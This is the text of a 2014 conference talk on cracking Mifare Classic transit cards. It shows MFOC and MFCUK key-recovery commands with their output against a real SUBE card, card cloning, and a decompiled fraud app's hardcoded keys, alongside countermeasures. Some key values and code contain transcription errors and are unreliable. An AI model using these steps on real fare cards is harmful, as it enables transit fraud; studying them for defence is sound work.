Hacking Mifare Classic Cards

Márcio Almeida (marcioalma@gmail.com)
!! DISCLAIMERS !!

- **Disclaimer 1:** The content of this presentation results from independent research conducted by me on my own time and of my own accord. This research was not approved, sanctioned or funded by my employer and is not in any way associated with my employer.

- **Disclaimer 2:** The main objective of this presentation is demystify the “security” of Mifare Classic cards showing how easy is dump, modify and rewrite the content of the card (also clone the card contents utilizing UID writable cards) after discover its keys utilizing cryptographic attacks released to public since 2007. This talk isn’t pretend incentive frauds or criminal activities. The author isn't responsible by the use of the presented content to do illegal actions. If you want use this knowledge to do it, do it by your own risk!
So, how RFID works?
RFID Billing Schemes

And in a lot of other systems...
Mifare Classic Cards

- Oyster
- Preview Card (Limited edition)
- SUBE
- Miami-Dade Transit EASY Card
- Istanbulkart

Global transportation and ticketing systems.
A tiny history and some facts...

- The Mifare Classic cards was created by a company called NXP Semiconductors (old Philips Electronics).

- The card utilize the standard ISO 14443 Type A protocol for communication on frequency 13.56 MHz (High Frequency).
The cryptography utilized in the Mifare Classic cards (CRYPTO1) was decided to be maintained in secrecy by NXP Semiconductors. (security by obscurity)

More than 3,5 billions cards was produced over the years and more than 200 millions still in use on systems today.
A tiny history and some facts…

• In December of 2007 two German researchers (Nohl and Plötz) presented at CCC the partial reverse engineering of Crypto-1 with some weaknesses.

• In March 2008 a Research group from Radboud University completely Reverse Engineered the Crypto-1 cipher and intent publish it.
A tiny history and some facts...

- NXP tried to stop the full disclosure of Crypto-1 cipher by a judicial process.

- In July 2008, the court decided to allow the publication of the paper and reject the prohibition based on freedom of speech principles.
Finally in October 2008 Radbond University published a Crypto-1 cipher implementation as Open Source (GNU GPL v2 license).

Since of previous publications a lot of public exploits (tools) to hack Mifare Classic cards are developed, what completely jeopardized the card reputation.
Security Features of Mifare Classic

- Unique Identifier (UID) is read-only
- Authentication between the tag and reader to share a session key.
- CRYPTO1 cipher algorithm is proprietary and not shared with public (security by obscurity).
- Obfuscated parity information.
- Only implemented in hardware.
Mifare Classic Structure

- The first block of sector 0 contains the UID, BCC and Manufacturer Data (read-only). Each sector contains 64 bytes.
- Each block contains 16 bytes.
- The last block of each sector (trailer) contains the keys A and B also the Access Conditions.
- The Access Conditions determine the permissions in each block.
Partial Reverse Engineering

- In 2007 Karsten Nohl and Henryk Plötz released at CCC the partial reverse engineering (cipher initialization) of CRYPTO-1 by hardware analysis:

http://events.ccc.de/congress/2007/Fahrplan/events/2378.en.html
• \( N_t, N_r \rightarrow \text{nonces picked by tag and reader} \)
• \( k_{s1}, k_{s2} \text{ and } k_{s3} \rightarrow \text{key stream generated by cipher (96 bits total and 32 bits each)} \)
• \( \text{suc}_2(N_t) \text{ or } \{A_r\} \text{ and } \text{suc}_3(N_t) \text{ or } \{A_t\} \rightarrow \text{bijective functions} \)
Weaknesses discovered

- Keys with only 48 bit of length (Brute-force feasible – with FPGA aprox. 10h to recover one key)
- The LFSR (Linear Feedback Shift Register) used by RNG is predictable (constant initial condition).
  - Each random number only depends of the quantity of clock cycles between: the time when the reader was turned up and the time when the random number is requested.
- Since an attacker controls the time of protocol, he is able to control the generated random numbers and that way recover the keys from communication.
Full Disclosure of CRYPTO-1

- In 2008 a research group from Radboud University published the full CRYPTO-1 cipher by analyzing the communication between tag and reader:

<table>
<thead>
<tr>
<th>Step</th>
<th>Sender</th>
<th>Hex</th>
<th>Abstract</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>Reader</td>
<td>26</td>
<td>req type A</td>
</tr>
<tr>
<td>02</td>
<td>Tag</td>
<td>04 00</td>
<td>answer req</td>
</tr>
<tr>
<td>03</td>
<td>Reader</td>
<td>93 20</td>
<td>select</td>
</tr>
<tr>
<td>04</td>
<td>Tag</td>
<td>c2 a8 2d f4 b3</td>
<td>uid, bcc</td>
</tr>
<tr>
<td>05</td>
<td>Reader</td>
<td>93 70 c2 a8 2d f4 b3 ba a3</td>
<td>select(uid)</td>
</tr>
<tr>
<td>06</td>
<td>Tag</td>
<td>08 b6 dd</td>
<td>MIFARE 1K</td>
</tr>
<tr>
<td>07</td>
<td>Reader</td>
<td>60 30 76 4a</td>
<td>auth(block 30)</td>
</tr>
<tr>
<td>08</td>
<td>Tag</td>
<td>42 97 c0 a4</td>
<td>$n_T$</td>
</tr>
<tr>
<td>09</td>
<td>Reader</td>
<td>7d db 9b 83 67 eb 5d 83</td>
<td>$n_R \oplus ks_1, a_R \oplus ks_2$</td>
</tr>
<tr>
<td>10</td>
<td>Tag</td>
<td>8b d4 10 08</td>
<td>$a_T \oplus ks_3$</td>
</tr>
</tbody>
</table>
CRYPTO1 Cipher

Crypto1 Cipher

Key

Tag/Reader IV

Challenge?

Tag IV

Response?

Serial

Reader IV?

\[ f_c^5 = 0xEC57E80A \]

\[ f_a^4 = 0x9E98 = (a+b)(c+1)(a+d)+(b+1)c+a \]

\[ f_b^4 = 0xB48E = (a+c)(a+b+d)+(a+b)cd+b \]

Tag IV \oplus Serial is loaded first, then Reader IV \oplus NFSR
Proxmark3 + Active Sniffing

- As result of this publication, now utilizing the proxmark3 any attacker is able to emulate any Mifare card just sniffing the communication between the card and reader and replaying it (including the UID value).
- Also the attacker will be able to recover all keys from sectors involved in this communication.
- But, as mentioned, this attack needs sniff the communication between the card and a valid reader.
Card-only Attacks

• Nested Attack
  – Introduced in 2009 by Nijmegen Oakland and implemented by Nethemba with the MFOC tool.

• Dark-Side Attack
  – Introduced in 2009 by Nicolas Courtois and implemented by Andrei Costin with the MFCUK.
Nested Attack

- Authenticate to the block with default key and read tag's $N_t$ (determined by LFSR)
- Authenticate to the same block with default key and read tag's $N'_t$ (determined by LFSR) (this authentication is in an encrypted session)
- Compute “timing distance” (number of LFSR shifts)
- Guess the next $N_t$ value, calculate $k_s_1$, $k_s_2$ and $k_s_3$ and try authenticate to a different block.
During authentication, when the reader sends \( \{Nr\} \) and \( \{Ar\} \), the tag checks the parity bits before checking the correctness of \( Ar \). If one of the eight parity bits is incorrect, the tag does not respond.

However, if all eight parity bits are correct, but the response \( Ar \) is incorrect, the tag will respond with a 4-bit error code 0x5 (NACK) indicating a transmission error. Moreover, this 4-bit error code is sent encrypted.

If the attacker combine (XOR) the error code 0x5 value (known plaintext) with its encrypted version, he can recover four keystream bits.
Attack Steps

• Initially utilize the MFOC tool to test if the card utilize any default keys. (around 10 minutes)
  – If the card utilizes any of default keys the MFOC tool will perform the Nested attack utilizing any authenticated sector as an exploit sector to recover all keys of the card and dump his content.

• If the card haven’t use any of the default keys, utilize the MFCUK to recover at least one key from any sector of card and after that utilize MFOC with this key to recover the other keys and dump the card content. (around 1 hour)
Proof of Concept

OLD SUBE CARDS
Running MFOC First Time

```
:ekoparty malmeida$ mfo c -O sube_eko.mfd
ISO/IEC 14443A (106 kbps) target:
  ATQA (SENS_RES): 00 04
  * UID size: single
  * bit frame anticollision supported
    UID (NFCID1): 74 b7 cf bd
    SAK (SEL_RES): 08
  * Not compliant with ISO/IEC 14443-4
  * Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
  * MIFARE Classic 1K
  * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
  * SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: ffffffffff] -> [.............]
[Key: a0a1a2a3a4a5] -> [..................]
[Key: d3f7d3f7d3f7] -> [..................]
[Key: 000000000000] -> [..................]
[Key: b0b1b2b3b4b5] -> [..................]
[Key: 4d3a9c351dd] -> [..................]
[Key: 1a9b2c7e459a] -> [..................]
[Key: aabbcdddeeff] -> [..................]
[Key: 714c5886e97] -> [..................]
[Key: 587ee5f9330f] -> [..................]
[Key: a0478cc39051] -> [..................]
[Key: 533cb6c723f6] -> [..................]
[Key: 8fd0a4f256e9] -> [..................]
```
Running MFOC First Time

```
[Key: d3f7d3f7d3f7] → [. . . . . . . . . .]
[Key: 000000000000] → [. . . . . . . . . .]
[Key: b0b1b2b3b4b5] → [. . . . . . . . . .]
[Key: 4d3a99c351dd] → [. . . . . . . . . .]
[Key: 1a982c7e459a] → [. . . . . . . . . .]
[Key: aabbccddeeff] → [. . . . . . . . . .]
[Key: 7145c886e97] → [. . . . . . . . . .]
[Key: 587ee5f9350f] → [. . . . . . . . . .]
[Key: a0478cc39091] → [. . . . . . . . . .]
[Key: 533cb6c723f6] → [. . . . . . . . . .]
[Key: 8fd0a4f256e9] → [. . . . . . . . . .]

Sector 00 - UNKNOWN_KEY [A] Sector 00 - UNKNOWN_KEY [B]
Sector 01 - UNKNOWN_KEY [A] Sector 01 - UNKNOWN_KEY [B]
Sector 02 - UNKNOWN_KEY [A] Sector 02 - UNKNOWN_KEY [B]
Sector 03 - UNKNOWN_KEY [A] Sector 03 - UNKNOWN_KEY [B]
Sector 04 - UNKNOWN_KEY [A] Sector 04 - UNKNOWN_KEY [B]
Sector 05 - UNKNOWN_KEY [A] Sector 05 - UNKNOWN_KEY [B]
Sector 06 - UNKNOWN_KEY [A] Sector 06 - UNKNOWN_KEY [B]
Sector 07 - UNKNOWN_KEY [A] Sector 07 - UNKNOWN_KEY [B]
Sector 08 - UNKNOWN_KEY [A] Sector 08 - UNKNOWN_KEY [B]
Sector 09 - UNKNOWN_KEY [A] Sector 09 - UNKNOWN_KEY [B]
Sector 10 - UNKNOWN_KEY [A] Sector 10 - UNKNOWN_KEY [B]
Sector 11 - UNKNOWN_KEY [A] Sector 11 - UNKNOWN_KEY [B]
Sector 12 - UNKNOWN_KEY [A] Sector 12 - UNKNOWN_KEY [B]
Sector 13 - UNKNOWN_KEY [A] Sector 13 - UNKNOWN_KEY [B]
Sector 14 - UNKNOWN_KEY [A] Sector 14 - UNKNOWN_KEY [B]
Sector 15 - UNKNOWN_KEY [A] Sector 15 - UNKNOWN_KEY [B]

mfc: ERROR:

No sector encrypted with the default key has been found, exiting..
```

black hat
REGIONAL SUMMIT
SÃO PAULO 2014
Running MFCUK

```
mfcuk -C -R 8:A -s 250 -S 250 -v 5
```

**Mifare Classic DarkSide Key Recovery Tool - 0.3**
by Andrei Costin, zverlu@gmail.com, http://andreibst.com

WARN: cannot open template file '/data/tmpl_files/mfcuktmpl_drbl_template.nfd'
WARN: cannot open template file '/data/tmpl_files/mfcuktmpl_drbl_template.nfd'
WARN: cannot open template file '/data/tmpl_files/mfcuktmpl_drbl_template.nfd'

INFO: Connected to NFC reader: ACS / ACR122U PICC Interface

**INITIAL ACTIONS MATRIX**

<table>
<thead>
<tr>
<th>Sector</th>
<th>Key A</th>
<th>ACTS</th>
<th>RESL</th>
<th>Key B</th>
<th>ACTS</th>
<th>RESL</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>1</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>2</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>3</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>4</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>5</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>6</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>7</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>8</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>9</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>10</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>11</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>12</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>13</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>14</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>15</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
</tbody>
</table>

**VERIFY:**

Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Running MFCUK

Let me entertain you!
  uid: 74b7cfbd
type: 08
  key: 00000000000
  block: 03

diff Nt: 07
auths: 102

Let me entertain you!
  uid: 74b7cfbd
type: 08
  key: 00000000000
  block: 03

diff Nt: 08
auths: 103

Let me entertain you!
  uid: 74b7cfbd
type: 08
  key: 00000000000
  block: 03

diff Nt: 09
auths: 104

Let me entertain you!
  uid: 74b7cfbd
type: 08
  key: 00000000000
  block: 03

diff Nt: 100
auths: 105
Running MFCUK

Let me entertain you!
uid: 74b7cfbd
type: 08
key: 000000000000
block: 03
diff Nt: 236
auths: 821

Let me entertain you!
uid: 74b7cfbd
type: 08
key: 000000000000
block: 03
diff Nt: 236
auths: 822

Let me entertain you!
uid: 74b7cfbd
type: 08
key: 000000000000
block: 03
diff Nt: 236
auths: 823

Let me entertain you!
uid: 74b7cfbd
type: 08
key: 000000000000
block: 03
diff Nt: 236
auths: 824
Running MFCUK

```

diff Mt: 312
auths: 3810

Let me entertain you!
uid: 74b7cfbd
type: 08
key: 000000000000
block: 03
diff Mt: 312
auths: 3811

INFO: block 3 recovered KEY: 7b
1 2 3 4 5 6 7 8 9 a b c d e f
ACTION RESULTS MATRIX AFTER RECOVER
UID 74 b7 cf bd
TYPE 0x08 (MCIK)

<table>
<thead>
<tr>
<th>Sector</th>
<th>Key A</th>
<th>ACTS</th>
<th>RELS</th>
<th>Key B</th>
<th>ACTS</th>
<th>RELS</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>1</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>2</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>3</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>4</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>5</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>6</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>7</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>8</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>9</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>10</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>11</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>12</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>13</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>14</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>15</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
<td>000000000000</td>
<td>.</td>
<td>.</td>
</tr>
</tbody>
</table>

:ekoparty malmeida$
Running MFOC Second Time

The custom key 0x7b has been added to the default keys.

ISO/IEC 14443A (106 kbps) target:
- ATQA (SENS_RES): 00 04
- UID ID: single
- bit frame anticollision supported
- UID (NFCID1): 74 b7 c9 bd
- SAK (SEN_RES): 00
- Not compliant with ISO/IEC 14443-4
- Not compliant with ISO/IEC 18892

Fingerprinting based on MIFARE type Identification Procedure:
- MIFARE Classic 1K
- MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
- SmartMX with MIFARE 1K emulation

Other possible matches based on ATQA & SAK values:

Symbols: `.` no key found, `/` A key found, `\` B key found, `'` both keys found

Sector 00 - FOUND_KEY [A]
Sector 01 - UNKNOWN_KEY [A]  Sector 06 - UNKNOWN_KEY [B]
Sector 02 - UNKNOWN_KEY [A]  Sector 07 - UNKNOWN_KEY [B]
Sector 03 - UNKNOWN_KEY [A]  Sector 08 - UNKNOWN_KEY [B]
Sector 04 - UNKNOWN_KEY [A]  Sector 09 - UNKNOWN_KEY [B]
Sector 05 - UNKNOWN_KEY [A]  Sector 10 - UNKNOWN_KEY [B]
Sector 06 - UNKNOWN_KEY [A]  Sector 11 - UNKNOWN_KEY [B]
Sector 07 - UNKNOWN_KEY [A]  Sector 12 - UNKNOWN_KEY [B]
Sector 08 - UNKNOWN_KEY [A]  Sector 13 - UNKNOWN_KEY [B]
Sector 09 - UNKNOWN_KEY [A]  Sector 14 - UNKNOWN_KEY [B]
Sector 10 - UNKNOWN_KEY [A]  Sector 15 - UNKNOWN_KEY [B]
Running MFOC Second Time
Running MFOC Second Time
Creating a Clone

UID Changeable
Turning it Mobile

UID Changeable
Attack Cost

- RFID Reader (ACR122U) – U$ 56
  - (sufficient for reading / cracking / writing / cloning Mifare Classic Cards)
- Chinese UID Changeable Mifare – U$ 2
  - With those cards an attacker is able to create a perfect clone of any Mifare Classic card (including UID)
- Those Items can be easily bought in ebay.com or aliexpress.com from Thaiwan/China.
Tarjetas clonadas, las vendían por internet

El Sistema de Transporte Colectivo Metro que conocía del fraude desde hace cuatro meses, interpuso una demanda en mayo y van tres detenidos; emprendió una modificación en su software

30/08/2014 05:23
Francisco Pazos y Filiberto Cruz Monroy

La comercialización y uso de estas tarjetas constituye un delito, por lo que el Sistema de Transporte Colectivo Metro emprendió acciones legales para detectar su venta y, principalmente, para frenar el uso en sus instalaciones.
Android NFC hack allow users to have free rides in public transportation

By Dmitry Bestuzhev on October 21, 2014. 4:39 pm

"Tarjeta BIP!" is the electronic payment system used in Chile to pay for public transportation via NFC incorporated in the user's smartphone. Numerous projects enabling mobile NFC ticketing for public transportation have been already executed worldwide. This is a trend. It means that criminal minds should be interested in it. Moreover, they are.

More and more people keep talking about the feature of payments via NFC. The problem in this particular case is that somebody reversed the "Tarjeta BIP!" cards and found a means to re-charge them for free. So, on Oct. 16 the very first widely-available app for Android appeared, allowing users to load these transportation cards with 10k Chilean pesos, a sum equal to approximately $17 USD.
Analyzing PuntoBIP! Application

MD5 (PuntoBIP.apk) = 06a676fd9b104fd12a25ee5bd1874176
Analyzing PuntoBIP! Application

```java
package com.example.puntobip;
import android.app.Activity;

public class MainActivity extends Activity {
    private final byte[] DATA_CARGA_B21;
    private final byte[] DATA_CARGA_B22;
    private final int DIALOG_CARGAR = 2;
    private final int DIALOG_NUMERO = 3;
    private final int DIALOG_SALDO = 1;

    private final byte[] KEY_B_SECTOR_0 = { 31, 247, 9, 62 };
    private final byte[] KEY_B_SECTOR_8 = { 100, 247, 9, -62 };

    // Other code...

    public MainActivity() {
        byte[] arrayOfSize = new byte[16];
        arrayOfSize[0] = 16;
        arrayOfSize[1] = 39;
        arrayOfSize[2] = -17;
        arrayOfSize[3] = -40;
        arrayOfSize[4] = -1;
        arrayOfSize[5] = 1;
    }
}
```
Analyzing PuntoBIP! Application

```java
byte[] arrayOfByte1 = new byte[16];
array0fByte1[0] = 16;
array0fByte1[1] = 39;
array0fByte1[4] = -17;
array0fByte1[5] = -48;
array0fByte1[6] = -1;
array0fByte1[7] = -1;
array0fByte1[8] = 16;
array0fByte1[9] = 39;
array0fByte1[12] = 33;
array0fByte1[13] = -34;
array0fByte1[14] = 33;
array0fByte1[15] = -34;
this.DATA_CARGA_B21 = arrayOfByte1;

byte[] arrayOfByte2 = new byte[16];
array0fByte2[0] = 16;
array0fByte2[1] = 30;
array0fByte2[4] = -17;
array0fByte2[5] = -48;
array0fByte2[6] = -1;
array0fByte2[7] = -1;
array0fByte2[8] = 16;
array0fByte2[9] = 30;
array0fByte2[12] = 34;
array0fByte2[13] = -35;
array0fByte2[14] = 34;
array0fByte2[15] = -35;
this.DATA_CARGA_B22 = arrayOfByte2;
```
Analyzing PuntoBIP! Application

```java
public static void main(String[] args) {
    byte[] KEY_B_SECTOR_0 = { 31, 1F, 89 };  // Redacted
    byte[] KEY_B_SECTOR_8 = { 100, 64, C2, -62 };  // Redacted
    byte[] arrayOfByte1 = new byte[16];
    arrayOfByte1[0] = 16; arrayOfByte1[1] = 39;  // Redacted
    byte[] arrayOfByte2 = new byte[16];
    arrayOfByte2[0] = 16; arrayOfByte2[1] = 39;  // Redacted
    String res = "";
    String res2 = "";
    String res3 = "";
    String res4 = "";
    for (int i = 0; i < 6; i++) {
        res += String.format("%02X", KEY_B_SECTOR_0[i]);
        res2 += String.format("%02X", KEY_B_SECTOR_8[i]);
    }
    for (int i = 0; i < 16; i++) {
        res3 += String.format("%02X", arrayOfByte1[i]);
        res4 += String.format("%02X", arrayOfByte2[i]);
    }
    System.out.println("Key B Sector 0: " + res);
    System.out.println("Key B Sector 8: " + res2);
    System.out.println("Write to Block 21: " + res3);
    System.out.println("Write to Block 22: " + res4);
}
```
Analyzing PuntoBIP! Application

Hex to decimal conversion result in base numbers

\[(00002710)_{16} = (10000)_{10}\]
Analyzing PuntoBIP! Application
Problems Identified only analyzing PuntoBIP.apk

- The Tarjeta Bip! system fail in various points:
  - The value of the credit is in clear-text.
  - All cards have the same key (at least for the sectors 0 and 8) turning any card easy to clone (by an Android with NFC for example).
  - Since the card don’t utilizes the UID of card to anything in the card content (validation, keys generation or crypto). The common Mifare Card (UID Read-only) can be used to clone valid cards.
Countermeasures Against Proximity Cloning

- Utilize a whitelist of all UIDs allowed in the system.
- Utilize the UID of the card to cipher his content and generate his keys.
  - That way every card in the system will have different keys.
- With this approach the system will avoid random UID cards with valid content.
Countermeasures Against Restoring Dump

- Anti-cloning protection doesn't work against dumping the whole card - when you decide to “charge” your card and restore the dump with original credit (UID remains the same)
  - Countermeasure #1 – use “decrement counter” protection (it's only “workaround”)
  - Countermeasure #2 – store some values of card when it’s used (UID, decrement counter, credit value, last recharge, card number, etc…) and create a system to validate those values crossing its infos. When a fraud is detected add the UID to a blacklist.
“Decrement-counter” workaround

- “Decrement counter” (initially set to 0xffffffff), keys A/B have permissions only for decrementing counter and cannot be changed.
- Content of card (with passenger credit) is encrypted/hashed with card UID, decrement counter and private key.
- Don’t protect against UID Changeable cards.
Conclusions

• Some obvious facts:
  – The use of Mifare Classic Cards for any system gives the fake sensation of security because it’s cracked since 2007 and exists public exploits since 2009 that allows anyone to clone/copy those cards as demonstrated.
  – The unique effective solution is exchange all cards in circulation by more secure cards. (Ex: Mifare Plus/DESfire) Other approaches are only workarounds.